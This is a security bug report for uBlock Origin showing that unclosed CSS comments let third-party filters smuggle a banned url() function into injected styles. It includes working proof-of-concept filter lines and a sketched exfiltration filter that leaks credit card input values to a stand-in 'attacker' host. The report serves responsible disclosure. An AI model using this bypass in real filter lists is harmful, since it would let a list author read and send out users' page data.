Security: comments can be used to smuggle url() functions into css values.

[taviso]

Prerequisites

• I verified that this is not a filter issue (MUST be reported at filter issue tracker)
• This is not a support issue or a question
• I performed a cursory search of the issue tracker to avoid opening a duplicate issue
• The issue is not present after wholly disabling uBlock Origin ("uBO") in the browser
• I checked the documentation to understand that the issue I report is not a normal behavior

I tried to reproduce the issue when...

• uBO is the only extension
• uBO with default lists/settings
• using a new, unmodified browser profile

Description

If I understand the filter security model correctly, third party filter lists are trusted to hide content, but are not permitted to modify or read page content. For this reason, the css url() function is not permitted in any :style() rules, because that could be used to modify and/or exfiltrate content.

I guess the obvious way to exfiltrate content would be to auto-generate a ton of input.creditcard:has-text(/^0/):style(background-image: url(http://attacker/?matched=0) filters, but I guess you already realized this and that's why you ban url() 😃

Anyway, I think I've found a way to get a url() past the parser, it doesn't check if comments are closed in variables, so this filter:

example.com##div:style(--foo: 1/*)
example.com##div[bar="*/;background-image: url(https://google.com);}/*"]

Generates this CSS:

div
{--foo: 1/*}

.div-gpt-ad
{width:1px!important;height:1px!important;min-height:1px!important;}

div[bar="*/;background-image: url(https://google.com);}/*"],
[href^="http://www.FriendlyDuck.com/"],

A specific URL where the issue occurs

https://www.example.com/

Steps to Reproduce

1. Create the following filter in My filters:

example.com##div:style(--foo: 1/*)
example.com##div[bar="*/;background-image: url(https://storage.googleapis.com/gd-wagtail-prod-assets/original_images/evolving_google_identity_3x2.jpg); background-size: cover;}/*"]

Visit this link, observe that there is an image background. I think this should be impossible.

Expected behavior

The css url() function is correctly banned.

Actual behavior

The parser is confused by unclosed comments.

uBlock Origin version

1.37.2

Browser name and version

Chrome 92

Operating System and version

Fedora 34